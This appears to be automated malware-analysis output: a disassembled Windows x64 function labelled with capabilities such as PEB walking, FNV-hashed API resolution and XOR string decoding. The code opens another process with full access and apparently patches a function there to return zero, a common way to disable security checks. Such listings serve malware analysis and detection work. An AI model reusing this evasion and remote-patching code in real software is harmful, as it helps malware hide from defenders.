Function at 0x14006a5b0
Capabilities:
Access peb ldr_data
Encode data using xor
Get kernel32 base address
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
push r13
sub rsp, 0xa0
mov r13, rcx
mov byte [rcx], 0
mov qword [rcx + 8], 0
lea rdx, [rax + 0x10]
mov dword [rcx + 0x10], 0
lea rcx, [0x14006b180]
mov dword [rax + 0x10], 0
call fcn.14002d260
cmp dword [rsp + 0xb8], 0
je 0x14006acfa
mov rax, qword gs:[0x60]
mov qword [rsp + 0xc0], rbx
mov qword [rsp + 0x98], rbp
mov qword [rsp + 0x88], rdi
mov edi, 0x6e477856
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x78], r14
xor r14d, r14d
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x90], rsi
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x80], r12
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
movups xmmword [rsp + 0x60], xmm0
sub cx, 8
test r14d, r14d
je 0x14006a6b3
mov r9, qword [rsp + 0x68]
mov r10d, 0x811c9dc5
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
cmp r9, r11
je 0x14006a6aa
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
add r9, 2
xor r8d, r10d
imul r10d, r8d, 0x1000193
cmp r9, r11
jne 0x14006a680
cmp r10d, r14d
jne 0x14006a806
mov rbx, qword [rax + 0x30]
test rbx, rbx
je 0x14006a80e
movsxd rcx, dword [rbx + 0x3c]
mov rdx, qword [rcx + rbx + 0x88]
mov r12, rdx
mov esi, edx
shr r12, 0x20
add rsi, rbx
cmp rsi, rbx
je 0x14006a806
mov r11d, dword [rsi + 0x18]
test r11d, r11d
je 0x14006a806
mov r15d, dword [rsi + 0x20]
dec r11d
mov r10d, 0x811c9dc5
lea rcx, [r15 + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x14006a73e
movsx ecx, r8b
lea r9, [r9 + 1]
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
movzx r8d, byte [r9 - 1]
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
test r8b, r8b
jne 0x14006a712
cmp r10d, edi
je 0x14006a750
test r11d, r11d
jne 0x14006a6f2
mov rax, qword [rax]
jmp 0x14006a650
mov ecx, dword [rsi + 0x24]
add rcx, rbx
movzx edx, word [rcx + r11*2]
mov ecx, dword [rsi + 0x1c]
add rcx, rbx
mov r9d, dword [rcx + rdx*4]
add r9, rbx
cmp r9, rsi
jbe 0x14006a811
lea rax, [r12 + rsi]
cmp r9, rax
jae 0x14006a811
movzx edx, byte [r9]
mov edi, 0x811c9dc5
mov r14d, edi
cmp dl, 0x2e
je 0x14006a7b8
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r9 + 1]
cmova ecx, eax
inc r9
xor ecx, r14d
imul r14d, ecx, 0x1000193
cmp dl, 0x2e
jne 0x14006a790
movzx edx, byte [r9 + 1]
inc r9
test dl, dl
je 0x14006a7f5
nop dword [rax]
nop dword [rax + rax]
movsx eax, dl
lea r9, [r9 + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r9]
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
test dl, dl
jne 0x14006a7d0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x14006a650
xor r9d, r9d
mov r8d, dword [rsp + 0xb8]
xor edx, edx
mov ecx, 0x1fffff
call r9
mov qword [r13 + 0x18], rax
test rax, rax
je 0x14006acbb
mov rax, qword gs:[0x60]
xor ebp, ebp
mov esi, 0xb8e4e945
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
movups xmmword [rsp + 0x60], xmm0
sub cx, 8
test ebp, ebp
je 0x14006a8b3
mov r9, qword [rsp + 0x68]
mov r10d, 0x811c9dc5
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
cmp r9, r11
je 0x14006a8aa
nop
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
add r9, 2
xor r8d, r10d
imul r10d, r8d, 0x1000193
cmp r9, r11
jne 0x14006a880
cmp r10d, ebp
jne 0x14006a9f5
mov rdi, qword [rax + 0x30]
test rdi, rdi
je 0x14006a9fd
movsxd rcx, dword [rdi + 0x3c]
mov rdx, qword [rcx + rdi + 0x88]
mov r12, rdx
mov r14d, edx
shr r12, 0x20
add r14, rdi
cmp r14, rdi
je 0x14006a9f5
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x14006a9f5
mov r15d, dword [r14 + 0x20]
dec r11d
mov r10d, 0x811c9dc5
lea rcx, [r15 + r11*4]
mov r9d, dword [rcx + rdi]
add r9, rdi
movzx ecx, byte [r9]
inc r9
test cl, cl
je 0x14006a93d
movsx edx, cl
lea r9, [r9 + 1]
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
movzx ecx, byte [r9 - 1]
cmova r8d, edx
xor r8d, r10d
imul r10d, r8d, 0x1000193
test cl, cl
jne 0x14006a912
cmp r10d, esi
je 0x14006a94f
test r11d, r11d
jne 0x14006a8f3
mov rax, qword [rax]
jmp 0x14006a850
mov ecx, dword [r14 + 0x24]
add rcx, rdi
movzx edx, word [rcx + r11*2]
mov ecx, dword [r14 + 0x1c]
add rcx, rdi
mov ebx, dword [rcx + rdx*4]
add rbx, rdi
cmp rbx, r14
jbe 0x14006a9ff
lea rax, [r14 + r12]
cmp rbx, rax
jae 0x14006a9ff
movzx edx, byte [rbx]
mov ebp, 0x811c9dc5
mov esi, ebp
cmp dl, 0x2e
je 0x14006a9b5
nop dword [rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [rbx + 1]
cmova ecx, eax
inc rbx
xor ecx, ebp
imul ebp, ecx, 0x1000193
cmp dl, 0x2e
jne 0x14006a990
movzx edx, byte [rbx + 1]
inc rbx
test dl, dl
je 0x14006a9e4
movsx eax, dl
lea rbx, [rbx + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [rbx]
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
test dl, dl
jne 0x14006a9c0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x14006a850
xor ebx, ebx
movabs rax, 0xce7cdfa5ce715545
xor r15d, r15d
mov qword [rsp + 0x40], rax
mov ebp, 0x4dbc712f
movabs rax, 0x2084aa282fd66a96
mov qword [rsp + 0x48], rax
movabs rax, 0xa73abad1af142706
movdqa xmm0, xmmword [rsp + 0x40]
mov qword [rsp + 0x30], rax
movabs rax, 0x2084aa282f810ffa
mov qword [rsp + 0x38], rax
pxor xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
movups xmmword [rsp + 0x60], xmm0
sub cx, 8
test r15d, r15d
je 0x14006aad3
mov r9, qword [rsp + 0x68]
mov r10d, 0x811c9dc5
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
cmp r9, r11
je 0x14006aaca
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
add r9, 2
xor r8d, r10d
imul r10d, r8d, 0x1000193
cmp r9, r11
jne 0x14006aaa0
cmp r10d, r15d
jne 0x14006ac26
mov rdi, qword [rax + 0x30]
test rdi, rdi
je 0x14006ac2e
movsxd rcx, dword [rdi + 0x3c]
mov rdx, qword [rcx + rdi + 0x88]
mov r13, rdx
mov esi, edx
shr r13, 0x20
add rsi, rdi
cmp rsi, rdi
je 0x14006ac26
mov r11d, dword [rsi + 0x18]
test r11d, r11d
je 0x14006ac26
mov r12d, dword [rsi + 0x20]
dec r11d
mov r10d, 0x811c9dc5
lea rcx, [r12 + r11*4]
mov r8d, dword [rcx + rdi]
add r8, rdi
movzx r9d, byte [r8]
inc r8
test r9b, r9b
je 0x14006ab5e
movsx ecx, r9b
lea r8, [r8 + 1]
sub r9b, 0x41
mov edx, ecx
or edx, 0x20
cmp r9b, 0x19
movzx r9d, byte [r8 - 1]
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
test r9b, r9b
jne 0x14006ab32
cmp r10d, ebp
je 0x14006ab70
test r11d, r11d
jne 0x14006ab12
mov rax, qword [rax]
jmp 0x14006aa70
mov ecx, dword [rsi + 0x24]
add rcx, rdi
movzx edx, word [rcx + r11*2]
mov ecx, dword [rsi + 0x1c]
add rcx, rdi
mov r8d, dword [rcx + rdx*4]
add r8, rdi
cmp r8, rsi
jbe 0x14006ac31
lea rax, [rsi + r13]
cmp r8, rax
jae 0x14006ac31
movzx edx, byte [r8]
mov ebp, 0x811c9dc5
mov r15d, ebp
cmp dl, 0x2e
je 0x14006abd8
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r8 + 1]
cmova ecx, eax
inc r8
xor ecx, r15d
imul r15d, ecx, 0x1000193
cmp dl, 0x2e
jne 0x14006abb0
movzx edx, byte [r8 + 1]
inc r8
test dl, dl
je 0x14006ac15
nop dword [rax]
nop dword [rax + rax]
movsx eax, dl
lea r8, [r8 + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r8]
cmova ecx, eax
xor ecx, ebp
imul ebp, ecx, 0x1000193
test dl, dl
jne 0x14006abf0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x14006aa70
xor r8d, r8d
movabs rax, 0xce7cdfa5ce715545
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x50], rax
movabs rax, 0x2084aa282fd66a96
mov qword [rsp + 0x58], rax
movabs rax, 0xaf1eb3c0a003302e
movdqa xmm0, xmmword [rsp + 0x50]
mov qword [rsp + 0x20], rax
movabs rax, 0x2084c6444bf80fe5
mov qword [rsp + 0x28], rax
pxor xmm0, xmmword [rsp + 0x20]
movdqa xmmword [rsp + 0x20], xmm0
call r8
lea rdx, [rsp + 0x30]
mov rcx, rax
call rbx
mov r13, qword [rsp + 0xb0]
mov r8d, 0xc3c03148
mov rdx, rax
mov rcx, r13
mov qword [r13 + 8], rax
call fcn.14006b1b0
test eax, eax
mov dword [r13 + 0x10], eax
setne al
mov byte [r13], al
mov r12, qword [rsp + 0x80]
mov rax, r13
mov rsi, qword [rsp + 0x90]
mov rdi, qword [rsp + 0x88]
mov r14, qword [rsp + 0x78]
mov rbp, qword [rsp + 0x98]
mov rbx, qword [rsp + 0xc0]
mov r15, qword [rsp + 0x70]
add rsp, 0xa0
pop r13
ret
mov rax, r13
add rsp, 0xa0
pop r13
ret